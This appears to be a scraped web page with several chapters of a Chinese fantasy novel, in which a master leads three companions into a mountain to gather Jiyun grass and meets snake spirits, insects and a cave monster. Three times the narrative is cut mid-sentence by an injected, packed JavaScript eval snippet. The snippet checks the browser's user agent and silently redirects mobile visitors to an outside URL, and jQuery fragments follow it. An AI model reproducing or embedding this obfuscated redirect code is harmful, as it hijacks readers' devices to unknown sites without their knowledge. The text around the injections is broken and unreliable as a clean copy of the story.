一路往南方前行,山中水汽重,虽然才五月份的天气,面前的杂草表面已经结了一层露水,在清晨的阳光下泛着七彩的光芒。
“大师,吉云草到底长什么样子的啊?我看这些普通的杂草表面的露水看着也闪光,难道效果真的差别那么大吗?”薛暮冉一边收拾帐篷,一边问道。
“那人还都长着两只眼睛一个鼻子的,怎么差别那么大呢?”竹七九将酒壶挂在腰间,“这吉云草啊,据说跟荷花差不多,细长的杆子顶端,开着一丛碎花。杆子上长着三层叶子,都跟莲座似的包裹在四周,很好认的。”
“那不就是,吉云草的叶子跟荷花长得一样,是这样吧?”田芸淼将帐篷叠好,塞进背包里,也跟着发问。
“差不多就是那个感觉吧。”竹七九背上那只灰白颜色,边缘露出很多线头的单肩包,笑道:“动身咯,今天要是运气好,应该可以在半夜前结束。”
“为什么是半夜啊?”薛暮冉背好背包,走到他身边问道。
“听说,这吉云草都在半夜开花,那个时候的露水是最管用的。”竹七九神秘一笑,招呼众人继续往山中前进。
田芸淼艰难的将背包挎在肩上,刚准备走,却被田云霄拉住。他伸手抢过妹妹的背包,搭在自己肩上,抱怨道:“你能不能走快点?天天就知道拖累人。”
“我——”田芸淼刚准备反击回去,见哥哥那两只黑色瞳孔都挤在内眼角处,不敢看向自己这边,忍不住又担忧,又有些好笑,只好快步往前走去。
越过一片干枯的河床,翻过几颗巨型石块,终于在半下午的时候,来到南边的一处深潭边扎营。这时太阳正挂在头顶上空,热辣辣的将人影子照成一个黑点,聚在脚下。
薛暮冉见这潭水清澈,忍不住走过去捧了一把水洗脸,叫道:“真凉快,我都想下去洗个澡了。”
“这水里说不定住着什么东西呢,不怕死的话就进去吧。”竹七九捡了几根柴火,搭了个简易灶台,不一会,杂米粥的香味飘出来,引得几人食欲大动。
“大师,你刚刚去林子里就是摘野菜去了啊?这是什么菜啊这么香——”薛暮冉走到柴火堆边坐下,一脸好奇的模样。
“名字嘛,我也不知道,反正以前我见师父也摘过,应该毒不死人。”竹七九揭开锅盖,搅了一下稀饭,笑道:“差不多了,都坐下吃饭吧。”
田芸淼拿着洗好的碗筷走过来,几人围着这锅稀粥坐好,像排队等吃饭的孩子。热气腾腾的杂菜粥加上竹七九的自制辣椒酱,在这深山老林中慢慢喝着,倒也别具风味。
一番吃饱喝足后,阳光也没那么热辣辣了,竹七九用酒壶装了一些水,将灰堆熄灭,这才带着众人继续前行。
一群不知名的虫子在草丛间飞舞,发出嗡嗡的声音。时不时几只长翅膀的蜻蜓飞过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988045|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,也不怕人,停在几人的手腕和头顶歇息,被人手轻轻一赶,又晃悠悠飞走。
连续两日的赶路,纵使几人身体强健,此时也忍不住小腿打颤,只想找个阴凉地方歇息。田芸淼额头碎发被汗水浸湿,贴在脸上,像是台上唱戏的人贴的铜钱头。薛暮冉背着沉重的背包,弯着腰直喘粗气。
见大家已经累得够呛,竹七九指着前面一棵巨大的柳树,笑道:“再坚持一下,到前面扎营。”
几人抬头望去,一棵三人抱粗的巨大柳树在地上投下一片阴影,柳条随风轻轻摆动,看上去像海市蜃楼一般梦幻。
“怎么,会有这么粗的柳树?”薛暮冉喘着粗气问道。
“深山老林,有几棵老树不是很正常吗?”竹七九微微一笑,继续前行。身后几人也强打起精神,往前挪动着碎步。
来到那片树荫下,薛暮冉立刻扔下身上的背包,摊在地上,嘴里直嚷嚷:“我的妈呀,可累死我了!感觉已经看到另一个世界的景象了。”
“你再不过来,真的要去到另一个世界了。”竹七九走过来,扶起他,指了指头顶上方,原来有一群吐着舌头的细蛇藏在柳条中央,睁着一双眼睛往下看。
他连忙起身,跟着竹七九往后退去。那些蛇只在柳条上盘旋,并不敢靠近这树干位置。薛暮冉好奇的问道:“大师,你是施了什么咒语吗?那些蛇怎么都不敢过来啊?”
“巨树有神灵庇佑,那些小东西只敢靠近边缘以求取些许灵气,不敢近身,放心。”竹七九又在柳树四周洒下一圈淡黄色粉末,笑道:“我也跟孙悟空一样了,可以画个避魔圈。”
“这些粉末是什么啊?”薛暮冉想起那夜的青衣女子似乎很怕这个,连忙询问。
“我请朋友配制的驱虫散,貌似对蛇也有作用,聊胜于无嘛。”
田芸淼掏出几瓶水分给众人,抹了一把汗珠,说道:“现在,我们要怎么办?好像也没看见吉云草的影子。”
“别担心,今夜就是十五了,吉云草一定会被我们找到的。”
柳条轻轻摆动,一条细长的水蛇扭动腰部,缠在柳条上往下爬着,啪嗒一声掉在地上,向着几人爬过去。
碍于那团黄色粉末,那蛇不敢靠近,只在外侧边缘来回游走。
一阵微风吹过,那些粉末散了几分,紧接着,三四条蛇掉在地上,也往树干身边爬来。吐着猩红的舌头,淡黄色眼睛直勾勾盯着几人。
“大师,这个,好像不妙啊。”薛暮冉站起来,靠在树干上,看着面前吐信的长蛇,心脏突突直跳。
“别怕,我不是说了嘛,那蛇不敢靠近树干的。”竹七九打开酒壶,想起来里面装的是潭水,忍不住皱了皱眉,又盖上。双手抱在后脑勺的位置,靠在树干身上闭目养神。
这时刮过一阵狂风,卷起地上的灰尘碎石往几人脸上飞去,刹那间,眼前一片模糊。几条细蛇也被风卷着飞过来,不断打在几人身上。
身后巨树也随之发出强烈的震动,一条通体漆黑,比人腰还粗的巨蛇吐着堪比人类手掌宽的舌头,卷着柳树干往下探着身子,嘴角流出的涎水淌了一地。
竹七九微微睁眼,迎上一双金黄的瞳孔。
30. 第四章 夜半花开
金色的眼睛微微转动,看向旁边三人,那巨蛇缓缓爬下,绕到田云霄身侧立了起来,露出发白的蛇鳞。
田云霄愣住了,伸手将妹妹护在身后,睁着仅剩的那只眼睛死死盯住这条巨蛇。那蛇吐着鲜红的信子,避开双瞳之眼,绕着两人盘旋几圈。又返回竹七九身边,凑在他耳边待了一会,随即绕树而去。
随着那条蛇尾消失在柳树枝上,狂风骤停,风沙也逐渐落在地上,残留的几条小蛇慌忙往外侧游去,丝毫不敢继续在这树干周围停留。
“那蛇在跟你说话吗?”田云霄冷声问道。
“啊,恩,这是树灵,守护这片土地的,算是一种地仙吧。”竹七九笑笑,起身拍拍身上的尘土,“刚刚它感受到陌生人的气息,所以下来看看情况,已经没事了。”
“凭什么我要信你?”田云霄忍着胸中的怒火,缓步上前,自己遭受的一切,都跟眼前这个青年有关,他这些天来一直过得浑浑噩噩,现在总算清明了一些。
“田小哥,现在才来质疑我,是不是迟了一点?”竹七九笑得肆意张扬,直视着对方的眼睛。
那两只黑眼珠子聚在一处,正盯着面前这个十分不靠谱的年轻人,看上去分外可怕。
“你最好别耍花招,不然,我不会放过你。”田云霄冷哼一声,走到后面背起包。
竹七九摊了摊手,笑道:“随便你咯。不过,暂时我们还不能走,要在这里等月亮出来。今夜就是十五,趁着满月的月光,我们才能找到吉云草。”
与此同时,一处深宅大院内,一黑一黄两个身影正坐在廊下饮茶。淡青色的瓷器内盛着微红的茶水,不见一丝茶叶。
那黑影脸上带着半张金色面具,轻声笑道:“那小子带着三个人就敢进九景山,怕是不要命了。”
对面坐着的男人看上去约莫二十出头,脸颊圆润,嘴边一圈白色绒毛,下巴出了奇的短,似乎嘴巴下面就是脖子,只是那双眼睛却异常明亮。
他一袭深黄色粗布短褂,手里拿着一面白纸扇,轻轻摇晃着。沉思片刻后,才接着说道:“他们,该不会发现了那件事吧?”
“不会!”面具男子直接否定,“那地方隐秘的很,他们不会发觉。更何况,那东西虽然受了点伤,依旧强得可怕,连我们都不敢贸然进去,更何况他们。”
“那就好,难得的满月之景,添点血色就更好了。”黄衣男子低声一笑。
傍晚时分,夕阳映得天边几朵云彩呈现出瑰红的颜色。霞光照在人脸上,随着天空渐暗,互相看着似乎也顺眼了几分。
田云霄靠在树干上,不发一言。旁边的薛暮冉从包里掏出几块饼干,平均分成四份,递给众人。
“师姐,矿泉水呢?”
“还剩两瓶,大家凑合喝吧。”田芸淼低着头,像是做错事的孩子。
竹七九瞥了她一眼,笑道:“我酒壶里还有一点水,够我了。”
说罢,打开准备喝,却被薛暮冉拦住:“大师,你壶里装的不是在那潭里的水吗?这不能喝。”
轻轻撇开对方的手,竹七九喝了一口后,笑道:“偶尔喝一点,死不了人,这叫回归大自然!”
四人围坐在树下,看着夕阳全部隐入远处的山后,互相对视一眼,心情变得紧张起来。山中,起风了,吹得树叶沙沙作响。几点带着绿光的萤火虫从草丛里面钻出,结成一片在树下飞舞。
等待中,时间流淌十分缓慢。直到天边缓缓升起一轮淡白色的圆月,竹七九才低声笑道:“总算出来了。”
往旁边看去,其他三人已经睡得东倒西歪。轻轻推醒薛暮冉,其他两人也随之惊醒,几人背起行囊,借着月光往林中继续前行。
“那吉云草到底长在哪里啊?”薛暮冉小跑着上前,低声问道。
“你啊,怎么这么性急?等会就能看见了。”竹七九掏出酒壶又喝了一口,掂了掂壶身,轻轻点了点头。
林间萤虫飞舞,月光在树叶间投下一处处惨白的光斑,显得周边环境更加黑暗。几处草木剪影随着微风轻轻摇摆,像是藏了人似的。
穿过林子,来到一处开阔的地方,众人看着眼前的景象,纷纷呆了。
只见面前有一片发着光的圆形光盘,微风过处,那片光芒也随之轻轻摇荡,像是一片会发光的湖泊。
抬头往上看去,只见那片地方的上空聚集着一群萤火虫,结队盘旋其中。尾部发出的绿光在夜色中一闪一闪的,似乎在跟下方的光芒相互辉映。
“这是——什么?”薛暮冉凑上去,低声询问。
“鲛人草,算是食人花的一种吧,晚上会发光,吸引小虫子过去,然后一口吞掉。”竹七九笑着解释,“因为会发光,晚上看着跟铺了一层珍珠似的,所以被称为鲛人草。”
“这——那这草会吃人吗?”田芸淼也走近了一些,探着头往下方看去。
“吃人倒不会,最多咬你几口,被咬的地方可能会麻痹几天,也就没事了。”
“那——吉云草到底在哪里啊?”薛暮冉再次询问。
“唉,我真的服了你了。”竹七九无奈地说,掏出四张黄符,递给三人,一人一张,“等会我们按照东南西北四个方位站好,将这张符贴在心脏位置。切记切记,一定要贴在心脏位置。”
众人点头,接着分散开去站好,等着竹七九一声号令:“贴符!”
三人将那黄纸贴在心脏位置,紧接着,耳边传来一阵念经的声音,眼前的光盘缓缓转动,光芒来回荡漾。上方的萤火虫队伍也随之变换飞行方向,一时向左,一时向右,忽的向上盘旋,结成一个大大的符咒模样。
薛暮冉低头看向自己胸口,发现那萤火虫结成的样子,跟胸前这张黄纸上画的模样很像,心底对竹七九的钦佩又多了几分。
轰的一声巨响,面前的圆盘缓缓裂开,露出一个漆黑十字交叉的洞口。竹七九叫道:“快!往下跳。”第一个纵身跃下。
薛暮冉紧跟其后,田芸淼看了一眼哥哥,也跳了下去。田云霄叹了口气,咬咬牙,最后一个蹦下去。
随着最后一人消失在那黑洞里,光盘缓缓恢复原样,那盘旋其上的萤火虫也变成初始模样,微微摆动着尾巴,绿光一闪一闪的,像是无数的眼睛。
沿着一条长长的隧道,四人一路往下滑去,尖叫连连。竹七九划亮一根火柴,借
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988046|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着片刻的微光看清前方的出口。
从袖子里掏出一截绳子,尽头系着根长铁块。借着冲出隧道瞬间的力,将其插进隧道边的缝隙中。谁料这冲力太狠,他双手被绳子勒出几道血痕,这才止住身形。
紧随其后的薛暮冉就没这么好运,直接冲进前方的水潭里。冰冷的潭水瞬间冲进他的鼻腔耳朵里,让这颗脑袋变得无比清明。
甚至,恍惚间他好像能看清这水下世界,正盘旋着无数叫不出名字的鱼类,长条的蛇在他身边游过,甚至他能感受到那蛇皮上的冰冷鳞片。
竹七九站在洞口边,冲着隧道里面喊道:“接住这道绳子。”
贴着通道墙壁,在里面的人接近洞口时将绳子甩出,一把抓回,原来是田芸淼。因为惯性,田芸淼直接撞进竹七九怀里。
接着扑通一声,田云霄也冲进水中。
竹七九胸口被这一撞,立刻气血翻涌,差点吐出血来,他扶着墙壁坐下,缓了好几口气,才开口道:“你还真的一点不会缓冲的技巧啊。”
田芸淼满脸愧疚,不过在这黑暗中,也没人看得清:“抱——抱歉,你还好吧?”她弯腰查看,可惜此处没有一丝光亮,她只能看见一团影子正因为疼痛而佝偻着身子。
“没,我没事,你去看看他们吧。”竹七九捂着胸口起身,掏出一个火折子打亮,借着微光,看清那两个浑身湿淋淋的人正从水里走上来。
“这里究竟是哪里啊?”薛暮冉甩着耳朵里的水,问道。
“这里就是九景山下,飞龙谭边。”
“飞龙潭?”其他三人立刻叫出声来。
“那不是在彩云镇西南角吗?可是九景山在彩云镇外侧的南边,这两个怎么可能在一处呢。”薛暮冉拧着身上的水,疑惑道。
“万事互为表里,九景山的东面,就是飞龙潭,不过,不是镇上的那个飞龙潭,而是此处的飞龙潭。”竹七九艰难的掏出几根蜡烛,分给三人,很快,面前亮起一小片烛光。
借着微弱的光芒看去,面前这潭水看上去的确跟镇上的无异,甚至那潭水边也有一丛芦苇。只是缺了厢竹酒家,跟那座吞龙桥罢了。
微风过处,潭水中央映出月亮的形状,抬头望去,空中仍旧一片漆黑。
“月——月亮呢?”田芸淼怔怔发问,看向竹七九。
“月亮,在真正的飞龙潭上面挂着呢。”竹七九笑道,又咳嗽几声,“我们快走吧,时间不多了。”
举着蜡烛,四人沿着跟那洞口相连的山体前行。不知过了多长时间,眼前出现一丛发着白光的植物,修长的枝条顶端开着淡白色花朵。下端连着三丛莲花似的叶子,也发出银白色光芒。
田云霄慢慢走上前去,问道:“这就是吉云草吗?这个露水,可以治好我的眼睛吗?”
“这个就是吉云草,听说这个露水可以包治百病,不过,我也不敢保证,但是可以试一试嘛。”竹七九解释道。
轻轻折下一枝拿在手上,那细碎的光芒受到晃动,竟然缓缓散开,原来,那是一片会发光的小虫子。
“糟了,大家快屏住呼吸!”竹七九惊叫一声,连忙拉住田云霄连连后退。
31. 第五章 福祸相依
洒下一把药粉,将那些光虫驱散,竹七九拉着其余三人往后退去。被这动静扰到的飞虫们纷纷振动着翅膀,围着几人飞过来。
“把这药粉洒在身上,特别是五官的位置,都要沾上点。”竹七九掏出一个绢布袋子,里面还剩下半袋黄色粉末。
果然,那些虫子似乎很怕这粉末,只在半米外盘旋,不敢靠近。竹七九解释道:“我听师父说过,每年五月份,食心虫会出来□□,在吉云草中产卵。没想到这种奇观竟然被我们碰上。”
“食心虫?这虫子会吃人心吗?”薛暮冉仍旧捂着口鼻,用一种奇怪的声线发问。
“听说,被这虫子钻进身体里,症状就跟得了心绞痛一样,反正都是传说,我也不能确定。”
“那完了,刚刚我好像吸进去一只。”田云霄呆呆看向妹妹,又看着竹七九,一脸求助的表情。
“简单,来,吸一口。”竹七九抓了把粉末放在他鼻子下方,田云霄将信将疑,猛吸一口后,立刻弯腰咳嗽起来。
接着几只飞虫悠悠的从他耳朵里飞出,混进那群飞虫队伍中去。
“大师,给我也吸一口吧。”薛暮冉也凑过来,吸了一口。结果咳嗽半天,什么影子都没看见。田芸淼犹豫了半天,终于也过来吸了一口,然后从鼻子里飞出一只发着微光的小虫子。
“行了吧,大家这下该安心了。”竹七九笑笑,在身上又抹了把药粉,忽然上前冲开那群飞虫的包围,采了几把吉云草用布袋子收好,又慢慢走回来。
这群灰尘一般细小的虫子被冲开一道口子,转瞬又融合一处。
“大师,你采吉云草做什么?”薛暮冉捏了捏那布袋子,里面似乎还发着微光。
“这食心虫产的卵可是奇物,加上吉云草本身的价值,正所谓宝上加奇,价值连城啊。”竹七九将那布袋子系好,挎在腰间。
“那,那我哥哥的眼睛呢?”田芸淼心下一顿,呐呐的问道。
“再过一会,食心虫就会死亡,到时候露水就能用了,别着急。”竹七九温言安慰。
果然,不到半个小时,那片飞虫接连掉在地上,死了一大片。微弱的光芒很快熄灭,竹七九算了算时间,叫道:“现在,你们去采集露水吧。我要收一点这食心虫的尸体。”
田氏兄妹带着小玻璃瓶,将那花朵根茎之上的水珠一一收集。
薛暮冉则留下帮忙收集那细小的虫子尸体,他捡起一把放在掌心,将蜡烛凑近,发现这些虫子虽然细小,但是外壳坚硬,微微泛着金属光泽,还生着两排爪子,跟苍蝇腿一般细弱。
“大师,这虫子真的值钱吗?”
“物以稀为贵,只要市面上缺货,它就值钱。你以为这地方这么好进来的吗?”将虫尸全部收入囊中,另一边的露水也采得差不多了。
这时地面忽然震动起来,旁边山石不断滚落,竹七九叫道:“收拾好东西,大家快跑!”带着众人往飞龙潭方向跑去,此时潭面也不再平滑,波浪汹涌,月亮碎成几块,随波荡漾。
“大家一定要拿好自己的东西,我们要下水了,当心东西丢失,那可就算白忙活一场了。”竹七九率先跳进水里,薛暮冉紧跟其后,田氏兄妹对视一眼,将背包系好,也跟着跳进去。
一时间天旋地转,潭水也跟着晃动不已,浪花打在几人的脸上,让人喘不过气来。一块巨石掉进潭内,激起巨大的水花,田芸淼水性不好,加上体质弱,只觉得双脚发软,逐渐往下沉去。
田云霄将背包递给薛暮冉,一个猛子扎下去,将妹妹拉住。忽然间,眼前一片光明,他看见水下有个洞口,里面有个人正跟他招手。
水波流动,他看不清那人长相,又一转身,往上面游去。好不容易浮出水面,见依旧水浪滔滔。他大声招呼竹七九:“水下好像有东西——”
“什么?”
“水底下——好像有个人——”他抱着田芸淼,不好控制方向,只能绕着竹七九大叫。猛地,薛暮冉尖叫一声,消失在水下。紧接着,田云霄感觉怀里一空,失去意识的妹妹被一股强大的力量拖拽,也消失了。
他看向竹七九,片刻后,只觉得双脚被人钳住,往水下拽去。旁边的竹七九也好不到哪里去,也并排被拖进水里。
潭水深处,两点明黄色的光芒若隐若现,逐渐显出形状来,原来是一条黑鱼的眼睛。只是这黑鱼体型巨大,像条小船似的游过来,身上遍布漆黑的鳞片,泛着幽幽蓝光,一条巨大的尾巴搅动着水波,使得潭水一片浑浊。
方才还能看见东西的田云霄此刻连眼睛都睁不开,失去意识前,恰好迎上那双泛着黄光的眼睛,那只黑鱼张着巨口向他迎头咬来,一排惨白的牙齿看上去锋利无比。
刷的一下,两人像是被一根细线牵引着似的,消失在水潭中,那只黑鱼大嘴一张一合,扑了个空。
不知过了多久,几人在一处宽敞的山洞里醒来,旁边墙壁上放着几颗会发光的水晶石头照明。他们各自检查了一下身体跟物品,发现没有受伤,辛苦收集的药品也没有丢失,都松了口气。
忽然,薛暮冉指着竹七九身后,颤声道:“大——大师,你后面站着的是什么?”
愕然回头,在水晶石的微弱光芒下,竹七九身后站着一个——也许叫一只更合适一些,那人形怪物满脸凄凉的神色,眉毛很长,胡子遮住嘴巴,鼻子上坠着一只漆黑的铁环。
它穿着一身蓑衣,从头后面伸出来两只触手,前端分出五节手指,扛着一把锄头似的东西在肩膀上。
蓑衣下方,左右各有两条触手接在一处,延伸出来脚蹼一样的东西支撑着怪物立在地上。
竹七九猛地跳开,盯着这怪物半天,问道:“你——会说人话吗?”
那怪物动也不动,依旧悲伤的看着众人,忽然伸出细长的触手胳膊,指了指旁边的洞穴,似乎想带着他们继续往里走去。
竹七九转头四顾,到处是洞口,凭他自己的力量,已然分不清东南西北,只好说道:“现在我们已经失去机会,不能跟着飞龙潭一起回到原来的世界。只能走一步算一步,跟着这怪物走一遭了。”
“对了,那露水,赶紧让田小哥服下。”闻言,田芸淼掏出玻璃瓶,将那露水递给哥哥。
田云霄皱眉喝下,撇了撇嘴,抱怨道:“好苦啊,我还以为这仙草的露水能有多好喝呢。”接着两颗眼珠子转了转,竟然各归各位,分到两侧眼眶中。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988047|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他揉了揉眼睛,又眨了几下,“哎,感觉怪怪的,但是又说不上来。”
又看向已经眼圈发红的田芸淼,问道:“我这眼睛,是好了吗?”
她奋力点头,哭道:“幸好你眼睛好了,不然——我都不知道怎么办才好。”
“没事了。”田云霄心底五谷杂陈,轻轻抚摸着妹妹的头发,安慰着,“我都好了,还哭什么?赶紧出去是正经。到时候就搬回来住吧,田家宅子大——”
“等会,你的眼睛怎么又——”薛暮冉惊讶的伸出手指。
原来,田云霄的眼珠子又跑到一处眼眶中,接着又像游泳似的,从右眼眶,集体钻进左眼眶。
“这——大师,咋回事啊?”薛暮冉转头问旁边同样惊讶的竹七九。
“这个——哈哈哈哈哈,”竹七九大笑起来,“田小哥,你可赚了大便宜了,这下不但拥有了双瞳,还能随意操控,这是多少人梦寐以求的能力啊!”
轰的一声,那把锄头飞进旁边的山石之中,激起一片碎石渣子。原来那怪物见众人一直原地不动,似乎发了怒,将肩上扛的锄头铲进洞穴口的石块中。
竹七九连忙满脸堆笑,招呼身后几人跟上来,四人紧跟那怪物脚步,往洞穴深处走去。
这洞穴大概两米多高,一米宽,仅够一人穿行。两侧墙壁上都放置了水晶石来照明,光虽然不亮,但是勉强可以看清前后人的面容。
“这洞里没有支架,竟然还能撑着没有倒塌,到底是什么构造?”田云霄走在最后,摸了一把墙壁,大声问道。
现在他眼睛已经恢复正常,只是还有些不灵活,因此心情十分畅快。
“可能,就是眼前这位老兄拿着锄头刨出来的也说不定。”走在第二位置的薛暮冉打趣说道。
第一顺位的竹七九刚准备回头参与谈话,眼前的锄头飞一般的扫过来,他急忙弯腰闪躲。原来是那怪物要转弯了。
又走了接近半个小时,那怪物忽然侧身站在一旁,不再前行。面前的洞口变得宽敞起来,而且两侧都有木头架子撑着顶部,墙壁一边挂着电灯泡,虽然已经不亮,但是可以看出,这里有人类工作过的痕迹。
“这是——矿洞吗?”薛暮冉看着那盏灯泡,又摸了摸那木质架子。
“看着像,你看,这电线断了,曾经肯定是能用的。”竹七九拉出一截线路,指给其他人看。
“这老兄怎么不在前面引路了?”接连穿过洞穴的几人纷纷侧目看向那位身穿蓑衣的怪物,最末的田云霄盯着怪物那张表情忧伤的面孔,问道。
“可能是因为到了人类地盘,他跟不过来了吧。”竹七九猜测着,“我也不太能确定,听说道行低微的妖怪进了人类地盘会减损修为的。”
“可是——”薛暮冉刚想说那青衣女子的事情,忽然又停住,现在的他已经无法确定那究竟是真实发生的,还是一场梦。
“都是猜测罢了,毕竟跟我们是两个世界的东西,各有各的界限吧。既然他希望我们走下去,又不伤害我们,应该这里面还有别的事情要我们完成。”竹七九弯着腰,继续往前走着。
喵呜——
不知从哪里,传来一声猫叫。
32. 第六章 甬道深处
竹七九停住脚步,侧耳倾听,发现那叫声来自甬道深处,心里暗自忖道:这么深的地底下,哪来的猫?难道又是精怪?
面上却不动声色,笑道:“可能是迷路的猫咪吧,大家多注意自己身侧,小心一点。”
这时,田云霄突然开口道:“那只黑猫就在前面,有一堆石块挡着路,那只猫在刨坑呢。”他捂着左眼,让两只瞳孔聚集在右眼眶中,直直看着前方。
“哟,不错啊田小哥,这么快就能运用自如了。”竹七九拍了他肩膀一下,打趣道。
“还行吧,毕竟我天资聪颖,一点即通。”田云霄放下手,两只瞳孔又各归各位去了。
四人继续前行,不多时,通道地面上的碎石块逐渐多了起来,再往前,已经没路了。甬道被巨大的石块挡住,单凭人力根本无法推开。
“这不是条死路吗?还怎么过去啊?”薛暮冉尝试推了推那石块,结果用了九牛二虎之力,面前的石头竟然纹丝不动。
“猫呢?不是说在刨土吗?”田芸淼看向身旁的哥哥,问道。
田云霄再次捂住眼睛,盯着这堆石头细细看去,说道:“猫在对面,这后面好像还有一条路。”
“可是,这么大块,根本搬不动啊!”薛暮冉颓然的靠在一旁,忽然像是想到了什么似的,抓着竹七九的衣袖问道:“大师,你肯定有办法的吧?”
“倒也不能说没有,只是,有点难度。我先试试吧——”竹七九盘腿坐下,烧了一张黄符,口中念念有词:“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。赵钱孙李,周吴郑王。冯秦褚卫,姜沈韩杨。太上老君急急如律令!敕!敕!敕!”
接着一道青烟徐徐升起,从地底下钻出来一只青黑色的甲壳虫,头上两根天线似的触角来回晃动,忽然张开翅膀飞了起来,落在竹七九的手背上,爬了几圈,似乎在打暗号。
片刻后,竹七九将甲壳虫放回地上。那虫撅起尾部,一钻,消失在石头下方。
“这是——”田芸淼好奇询问。
“这是搬山神兽,也许它们可以帮我们解决这场困境。”
“就这小虫子竟然是神兽吗?”薛暮冉奇道。
“人不可貌相,动物也是一样啊。别看它身体小,可藏着大本事呢!”竹七九微微一笑,“大家先坐下来休息会吧,剩下的就交给它们了。”
四人两两一侧,靠在甬道里休息。忽然眼前闪过一双黄色巨眼,田云霄浑身一颤,想起那深潭中的巨兽,忍不住问道:“刚刚那飞龙潭里,是藏着什么东西吗?”
竹七九也愣住了:“你看见了什么?”
将一切经过说出后,田云霄加了一句:“我也不确定,当时一片黑暗,我也不知道自己看到的是真的还是幻觉。自从眼睛变成这样后,我经常看见一些乱七八糟的东西。”
“我以前也听人说过,飞龙潭里住着一位神仙。但是没人见过,都以为那不过是传说罢了。”竹七九喃喃道。
“哎呀,大师,没人见过的东西多了,最近我们碰到的这些,除了我们,还有谁见过?”薛暮冉在一旁打岔。
“我说的没人见过,不仅仅是指彩云镇上的人,还有,在深山里生活的各种精怪,大家都没见过,但是对这个传说却都深以为然。我当时还觉得奇怪,现在想来,也许这深潭之中,的确藏着一位高手。”
“别的我不知道,只是这‘高手’肯定不是什么善类。”田云霄冷冷补充道,“当时那东西张着巨嘴就想吞掉我们,要是神仙,能这么残忍吗?”
竹七九笑道:“为什么你觉得神仙就应该是善良的呢?”
“可是,神话里观世音菩萨不都是济世救人的吗?”田芸淼见哥哥愣住,忍不住抢先一步发言。
“这么解释吧,其实神仙对于我们人类来说,就是生活在另一个世界的,人类。”竹七九小心找着形容词,“只是他们的能力比我们强,也许可以随意操控时间跟空间,甚至还能操控我们这个世界。”
“对啊,所以才称呼他们为神仙。”田芸淼笑道。
“但是神仙这类生物,也有着自己的社会体系,也分好坏。有些善良的呢,会来救济我们这群普通人。有些不善良的呢,你猜会怎么着?”
“会——伤害我们?可是,他们社会里的法律不会制裁他们吗?”田芸淼好奇道。
“那我们杀死一只普通的小动物,法律会制裁吗?”竹七九有些好笑,眯着眼睛看着对方。
“怎么可以这么比喻呢?我们跟神仙应该是——同宗同源吧,你看,那么多人要修仙,都是人类——”田芸淼不说话了,因为她才想起来,神话中,还有很多动物神仙,比如说耳熟能详的孙悟空猪八戒。
如果异世界里的神仙,都是一些鸡鸭猪羊,他们应该会恨死人类吧,毕竟它们的同类几乎都是为了填饱人类的肚子而死。
人会因为踩死一只蚂蚁而自责吗?佛曰,众生平等。但是能有几个人真的这么认为呢?水中还有千千万万虫,人一辈子要烧多少次开水?
每个人都是罪孽深重的吧,如果这么算。
哗啦一声,面前的巨石陷进一个巨坑中,露出一个可供成年人钻过去的洞口来。一只甲壳虫扑腾着翅膀飞到竹七九脸上,来回爬了几圈,又悄悄飞走。
喵呜——面前的石块上,站着一只黑猫,它正悠哉的舔着自己的脚掌,然后看向几人,目光深邃。
竹七九凑上前去,看了眼对面的情况,发现石块另一侧的通道四通八达,延伸出来无数洞口,单凭自己这些人,只怕很难出去,这黑猫似乎对此轻车熟路,肯定认识出去的路。
于是换上一副笑脸,冲那猫儿笑道:“猫儿老哥,我们今天被困在此处,你要是有法子带我们出去,一定抓鱼给你吃个够!”
那黑猫似乎能听懂人言,竟然微微点头,转身跃下石块,往甬道那侧走去。竹七九招呼身后几人赶紧跟上,四人一起穿过这片区域。
最末的田云霄刚蹦到地上,只觉得脚下一滑,险些栽倒,定睛一看,原来石块这边放着一双雨靴。他拿起这双靴子,忽然像触电似的扔开,叫道:“这不是来时,路上的那些黑靴子吗?”
竹七九闻言,也返回来查看,疑惑道:“为什么这里这么多雨靴呢?难道是以前发大水,人们留下来的?”
喵呜-——黑猫又叫唤一声,似乎在催促众人快些跟上。无奈,竹七九将这双黑靴带上,说道:“先出去再说。”
那黑猫径直往其中一条
